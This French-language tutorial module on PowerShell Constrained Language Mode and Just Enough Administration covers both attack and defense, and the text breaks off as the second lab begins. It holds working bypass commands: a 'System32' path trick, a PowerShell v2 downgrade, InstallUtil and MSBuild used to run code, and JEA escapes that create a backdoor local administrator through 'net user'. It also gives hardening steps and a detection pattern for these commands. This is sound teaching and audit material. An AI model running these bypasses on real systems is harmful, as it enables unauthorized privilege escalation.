Constrained Language Mode & Just Enough Administration
CLM et JEA sont les deux mécanismes de sécurité PowerShell les plus importants côté défensif - et les plus contournés côté offensif. Comprendre leurs limites exactes est indispensable pour les configurer correctement ou les exploiter efficacement.
INTERMÉDIAIRE → AVANCÉOFFENSIF + DÉFENSIF4 – 5h
3.1
CLM - Objectif, Activation & Limitations
Le Constrained Language Mode (CLM) est un mécanisme de sécurité PowerShell qui restreint les capacités du langage disponibles dans une session. Il a été conçu pour fonctionner conjointement avec AppLocker ou WDAC - et non pas comme une protection standalone. Utilisé seul, il offre une fausse sécurité facilement contournée.
Analogie : CLM est comme un terminal bancaire dont le clavier n'a que les touches chiffres - tu ne peux pas taper de commandes libres. Mais si le clavier est juste recouvert d'un cache en plastique (la variable d'environnement), n'importe qui peut l'enlever.
Les 5 LanguageModes de PowerShell
Mode
Description
Restrictions
FullLanguage
Mode par défaut - aucune restriction
Tout est autorisé
ConstrainedLanguage
Restreint les types .NET et Win32API
Types .NET arbitraires, Add-Type, COM
RestrictedLanguage
Pour les fichiers de données uniquement
Pas de cmdlets, pas de variables
NoLanguage
Aucune commande PS - cmdlets whitelistées seulement
Utilisé par JEA - le plus restrictif
NonInteractive
Pas d'input utilisateur
Scripts automatisés uniquement
Vérifier et observer CLMPOWERSHELL
# Voir le mode courant$ExecutionContext.SessionState.LanguageMode
# → FullLanguage (par défaut) ou ConstrainedLanguage (si CLM actif)# ✖ Bloqué en CLM - types .NET arbitraires[System.Net.WebClient]::new()
# → "Type is not allowed in Constrained Language mode"# ✖ Bloqué en CLM - Win32 APIAdd-Type-TypeDefinition"..."# → "Add-Type is not available"# ✖ Bloqué en CLM - COM Objects$ie = New-Object-ComObject"InternetExplorer.Application"# ✖ Bloqué en CLM - Réflexion .NET[System.Reflection.Assembly]::LoadFile("evil.dll")
# ✅ Autorisé - cmdlets whitelistées et opérations de baseGet-Process$x = 1 + 1
if ($x-eq 2) {}
Méthodes d'activation de CLM
Méthode 1 - Lab uniquement
Variable d'environnement
Activation rapide via __PSLockdownPolicy. Non sécurisée - n'importe quel utilisateur peut supprimer cette variable. Contournée en 10 secondes.
Méthode 2 - Production
AppLocker Whitelist
AppLocker en mode Deny-All déclenche CLM sur tous les scripts non signés. Robuste - le bypass System32 path ne fonctionne pas.
Méthode 3 - La plus robuste
WDAC / Device Guard
Windows Defender Application Control applique CLM au niveau kernel. Incontournable sans accès Ring 0. Recommandé pour les environnements haute sécurité.
Activer/Désactiver CLM via variable d'environnement (lab)POWERSHELL
# Activer CLM - valeur 4 = ConstrainedLanguage (exécuter en Admin)
[Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4', 'Machine')
# ⚠ Ouvrir un NOUVEAU terminal - la variable est lue au démarrage de PS$ExecutionContext.SessionState.LanguageMode
# → ConstrainedLanguage# Désactiver
[Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '', 'Machine')
__PSLockdownPolicy n'est pas sécurisée
Cette méthode est délibérément non sécurisée. Un attaquant peut supprimer cette variable depuis cmd.exe ou même depuis PowerShell en CLM lui-même. La vraie protection exige AppLocker ou WDAC - ces mécanismes appliquent CLM indépendamment de toute variable d'environnement.
3.2
La Vulnérabilité Logique - Bypass via "System32" dans le Path
Cette technique, documentée par Carrie Roberts (Black Hills InfoSec), exploite un bug logique dans le fichier wldpNativeMethods.cs du code source Windows. Quand CLM est activé via __PSLockdownPolicy, Windows vérifie si le chemin du script contient la chaîne "System32" - si oui, FullLanguage est accordé. La vérification est une simple recherche de sous-chaîne, pas une vérification que le fichier est réellement dans C:\Windows\System32.
Logique vulnérable dans wldpNativeMethodsPSEUDO-CODE
# Bypass 1 : Downgrade PowerShell v2 - ignore CLM car il précède sa création
powershell -Version 2
$ExecutionContext.SessionState.LanguageMode # → FullLanguage !# Bypass 2 : InstallUtil.exe (LOLBIN .NET - signé Microsoft)# Whitelisté AppLocker par défaut → exécute du code .NET arbitraire
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe `
/logfile= /LogToConsole=false /U "C:\Tools\bypass-clm.exe"# Bypass 3 : rundll32 + PowerShdll# Crée un Runspace PS depuis une DLL - contourne CLM
rundll32 PowerShdll.dll,main
# Bypass 4 : MSBuild.exe (compile et exécute du C# - pas soumis à CLM)
msbuild.exe malicious.csproj
# Bypass 5 : Runspaces .NET depuis un exe externe# Un exécutable .NET peut créer un Runspace PS en FullLanguage# → cf. bypass-clm de calebstewart sur GitHub
Offensif - Stratégie immédiate
Si CLM est actif via __PSLockdownPolicy : nommer son script payload_system32.ps1 ou créer C:\Users\Public\System32\. Bypass complet en 10 secondes. Vérifier d'abord avec $ExecutionContext.SessionState.LanguageMode pour confirmer le mode et identifier la méthode d'activation avant de choisir la technique.
Défensif - La solution
Ce bypass ne fonctionne pas avec AppLocker ou WDAC. Règle absolue : ne jamais utiliser __PSLockdownPolicy seule en production. Désactiver PowerShell v2 (Disable-WindowsOptionalFeature) pour éliminer le bypass par downgrade.
3.3
JEA - Just Enough Administration
JEA implémente le principe du moindre privilège pour l'administration à distance via WinRM. L'utilisateur se connecte avec son propre compte non-privilégié, mais les commandes s'exécutent sous un Virtual Account - un compte administrateur local temporaire invisible à l'utilisateur. Si l'on atteint ce compte via un bypass, on a des droits admin complets.
↑ Mais si une commande whitelistée permet l'exécution → admin complet
Les deux fichiers de configuration JEA
Fichier .pssc
Session Configuration - le conteneur
Définit comment la session fonctionne : qui peut se connecter, sous quel compte le code s'exécute, quel LanguageMode est imposé, SessionType, TranscriptDirectory.
Fichier .psrc
Role Capabilities - les permissions
Définit quoi l'utilisateur peut faire : quelles cmdlets, quels paramètres autorisés (ValidateSet), quels programmes externes, quelles fonctions PS.
Explorer une session JEA - restrictions et Virtual AccountPOWERSHELL
# Se connecter à l'endpoint JEA$cred = Get-Credential"restricteduser"Enter-PSSession-ComputerName localhost `
-Credential$cred `
-ConfigurationName"RestrictedCmdlets"# Dans la session JEA :$ExecutionContext.SessionState.LanguageMode
# → NoLanguage[System.Console]::WriteLine("test")
# → "The syntax is not supported in this runspace"Get-Command# → Seulement Get-Process, Get-Service, Get-LocalUser, Get-Date
whoami
# → "winrm virtual users\winrm va 2" - compte ADMIN local temporaire !
Virtual Account - le détail crucial
Le Virtual Account est un compte administrateur local temporaire et éphémère créé par WinRM pour chaque session JEA. Supprimé à la déconnexion. L'utilisateur ne peut pas le voir dans Get-LocalUser. Mais il a des droits admin complets - si une commande whitelistée permet d'exécuter du code arbitraire, ce code tourne en tant qu'admin.
3.5
Contournements JEA - Techniques Offensives
Lab uniquement
Ces techniques sont présentées pour comprendre les misconfigurationen JEA et savoir comment les tester lors d'un audit. À appliquer uniquement en environnement de lab autorisé.
Bypass 1 - SessionType Default + opérateur &
Si le .pssc ne définit pas SessionType ou l'omet, les ScriptBlocks via l'opérateur & sont autorisés malgré le NoLanguage. C'est la misconfiguration la plus courante.
Bypass 1 - ScriptBlock via & (SessionType absent)POWERSHELL
# Dans la session JEA avec SessionType non défini (Default)& { whoami }
# → "winrm virtual users\winrm va X" - ScriptBlock fonctionne !& { calc.exe }
# → calc.exe lancé sous le Virtual Account (admin local)& { New-LocalUser-Name"backdoor"-Password (ConvertTo-SecureString"P@ss!"-AsPlainText-Force) }
# → Crée un utilisateur en tant qu'admin - élévation complète !
Bypass 2 - ConstrainedLanguage au lieu de NoLanguage
Si le .pssc utilise LanguageMode = 'ConstrainedLanguage' au lieu de 'NoLanguage', System.Diagnostics.Process reste accessible.
Bypass 2 - .NET dans ConstrainedLanguagePOWERSHELL
# Session JEA avec LanguageMode = 'ConstrainedLanguage'[System.Diagnostics.Process]::Start("calc.exe")
# → Lance calc.exe sous le Virtual Account (admin)
Bypass 3 - Commandes dangereuses dans VisibleExternalCommands
Bypass 3 - calc.exe ou cmd.exe whitelistésPOWERSHELL
# Si calc.exe est dans VisibleExternalCommands
calc.exe # → Lancé sous Virtual Account (admin)# Si cmd.exe est whitelisté - game over
cmd.exe /c "net user backdoor P@ss /add && net localgroup Administrators backdoor /add"# → Créé un admin backdoor depuis la session restricteduser# Via l'opérateur & avec chemin complet&"C:\Windows\System32\calc.exe"$c = "C:\Windows\System32\calc.exe"; &$c
Bypass 4 - Fonctions VisibleFunctions sans validation
Bypass 4 - injection via fonction mal implémentéePOWERSHELL
# .psrc vulnérable : Start-Process whitelisté sans restriction de paramètres# VisibleFunctions = @('Start-Process') ← DANGEREUXStart-Process"cmd.exe"-ArgumentList"/c whoami"# → Exécution en tant que Virtual Account (admin local)# Fonction wrapper mal sécurisée (sans ValidateSet) :# function Restart-ServiceSafe { param($Name) Restart-Service $Name }# → Peut redémarrer n'importe quel service, pas seulement les autorisés
3.6
PSProviders - Rôle dans les Contournements
Un PSProvider est une interface qui donne à PowerShell un accès uniforme à différentes sources de données (système de fichiers, registre, certificats…). En session JEA, certains providers autorisés peuvent devenir des vecteurs d'information ou de contournement.
PSProviders - liste, navigation et exploitation en JEAPOWERSHELL
# Lister tous les providers disponiblesGet-PSProvider# → FileSystem {C, D, Z}, Registry {HKLM, HKCU}, Alias, Environment# → Function {Function}, Variable, Certificate {Cert}, WSMan# Provider Function: - lire le code source des fonctions whitelistées !# Si la fonction est mal implémentée, on voit comment l'exploiterGet-ChildItem"Function:"Get-Content"Function:\Restart-ServiceSafe"# → Affiche le code PS complet de la fonction# → Si param($Name) sans ValidateSet → injection possible# Provider Registry - accès aux clés (si autorisé)Get-ChildItem"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"# Provider Variable - voir les variables de sessionGet-ChildItem"Variable:"# Manipulation PATH via Env: (si écriture autorisée)$env:PATH = "C:\Users\Public;" + $env:PATH
# → Priorité à un faux exécutable dans Public
Offensif - Provider Function: pour lire les fonctions
Via le provider Function:, si une fonction est whitelistée dans JEA, tu peux lire son code source complet depuis la session avec Get-Content "Function:\NomFonction". Si la fonction appelle des cmdlets avec des paramètres non validés passés par l'utilisateur, tu contrôles ces appels depuis le contexte du Virtual Account (admin).
3.7
Tableau des Contournements par LanguageMode
Référence rapide - ce qui fonctionne selon le mode configuré. Les VULN indiquent les cases exploitables qui ne devraient pas l'être selon l'intention défensive.
Technique de bypass
Full
Constrained
NoLang
NoLang+Default
Types .NET arbitraires
✅
✖
✖
✖
Add-Type / P/Invoke
✅
✖
✖
✖
ScriptBlocks { }
✅
✅
✖
✅ VULN
Opérateur &
✅
✅
✖
✅ VULN
Commandes externes whitelistées
✅
✅
✅
✅
PSProviders
✅
✅
Limité
Limité
[System.Diagnostics.Process]::Start()
✅
✅ VULN
✖
✖
Bypass System32 (__PSLockdownPolicy)
-
✅
-
-
Downgrade PS v2
✅
✅
✅
✅
InstallUtil / MSBuild (LOLBIN)
✅
✅
✅
✅
3.8
Remédiations - Durcissement CLM + JEA
Durcissement CLM - bonnes pratiquesPOWERSHELL
# ✅ Désactiver PowerShell v2 - élimine le bypass par downgradeDisable-WindowsOptionalFeature-Online-FeatureName MicrosoftWindowsPowerShellV2Root
Get-WindowsOptionalFeature-Online-FeatureName MicrosoftWindowsPowerShellV2Root
# → State : Disabled# ✅ Signer les scripts légitimes avec un certificat de code$cert = New-SelfSignedCertificate-Type CodeSigningCert `
-Subject"CN=Mon Organisation"-CertStoreLocation"Cert:\CurrentUser\My"Set-AuthenticodeSignature-FilePath".\monscript.ps1"-Certificate$cert# ✅ AppLocker en mode Whitelist (via gpedit.msc) :# Computer Configuration → Windows Settings → Security Settings# → Application Control Policies → AppLocker → Configure Rule Enforcement# → Exécutable Rules + Script Rules : Configured + Enforce Rules# ✅ WDAC = plus robuste qu'AppLocker (appliqué au niveau kernel)
# Vérifier la configuration activeGet-PSSessionConfiguration-Name"RestrictedCmdlets" |
Select-Object Name, LanguageMode, RunAsVirtualAccount, Permission
# Capacités effectives d'un utilisateurGet-PSSessionCapability-ConfigurationName"RestrictedCmdlets" `
-Username"MACHINE\restricteduser"# Détecter des commandes suspectes dans les transcripts JEAGet-ChildItem"C:\JEA\Transcripts\"-Filter"*.txt" |
Sort-Object LastWriteTime -Descending | Select-Object-First 10 |
ForEach-Object {
$suspects = Get-Content$_.FullName |
Where-Object { $_-match"cmd.exe|powershell|calc|net user|net localgroup" }
if ($suspects) {
Write-Warning"[!] Activité suspecte dans $($_.Name)"$suspects | ForEach-Object { Write-Host" >> $_"-ForegroundColor Yellow }
}
}
# Event ID 4104 dans une session JEA = anormal si NoLanguage actifGet-WinEvent-LogName"Microsoft-Windows-PowerShell/Operational" |
Where-Object {$_.Id -eq 4104 -and$_.Message -match"RestrictedCmdlets"} |
Select-Object TimeCreated, Message | Format-List
TP 1
Activer CLM & Bypasser via System32
TP 03-AObserver CLM en action et exploiter la vulnérabilité du chemin System32INTERMÉDIAIRE
Objectifs
Activer CLM via __PSLockdownPolicy et observer les blocages
Confirmer quels types .NET sont bloqués, lesquels restent autorisés
Bypasser via nom de fichier contenant "system32"
Bypasser via un dossier contenant "System32" créé par l'attaquant
Activation + tests de blocages CLMPOWERSHELL
# Activer CLM (en Admin)
[Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4', 'Machine')
# ⚠ Ouvrir un NOUVEAU terminal PowerShell$ExecutionContext.SessionState.LanguageMode # → ConstrainedLanguage# Test 1 : Type .NET arbitraire[System.Console]::WriteLine("test") # → Erreur# Test 2 : WebClient$wc = New-Object System.Net.WebClient # → Erreur# Test 3 : Add-TypeAdd-Type-TypeDefinition"public class Test {}"# → Erreur# Test 4 : Cmdlets normales - toujours okGet-Process | Select-Object-First 3 # → ✅ Fonctionne
Bypass CLM via system32 dans le cheminPOWERSHELL
$testScript = @'
Write-Host "LanguageMode : $($ExecutionContext.SessionState.LanguageMode)"
[System.Console]::WriteLine("Bypass reussi si tu lis ceci !")
'@# Version SANS bypass → CLM actif$testScript | Out-File"C:\Users\Public\test_normal.ps1"
powershell.exe -File"C:\Users\Public\test_normal.ps1"# → ConstrainedLanguage + Erreur sur Console::WriteLine# Version AVEC "system32" dans le NOM → bypass !$testScript | Out-File"C:\Users\Public\test_system32.ps1"
powershell.exe -File"C:\Users\Public\test_system32.ps1"# → FullLanguage + "Bypass reussi si tu lis ceci !" ← le bug !# Version via DOSSIER contenant System32New-Item-ItemType Directory -Path"C:\Users\Public\System32"-Force$testScript | Out-File"C:\Users\Public\System32\payload.ps1"
powershell.exe -File"C:\Users\Public\System32\payload.ps1"# → FullLanguage ! Même un dossier dans Public suffit.# ── Nettoyage ────────────────────────────────────────────────────
[Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '', 'Machine')
Remove-Item"C:\Users\Public\test_*.ps1"Remove-Item"C:\Users\Public\System32\"-Recurse-Force
TP 2
Déployer JEA & Bypasser via les Deux Méthodes
TP 03-BConfigurer JEA vulnérable, exploiter, puis déployer la version sécuriséeAVANCÉ
Objectifs
Déployer un endpoint JEA intentionnellement vulnérable (calc.exe + SessionType Default)
Exploiter calc.exe whitelisté - observer l'exécution sous Virtual Account
Exploiter l'opérateur & via SessionType absent
Lire les transcripts générés - voir les traces des bypasses
Déployer la version sécurisée et confirmer que les bypasses échouent
Déploiement JEA vulnérable (exécuter en Admin)POWERSHELL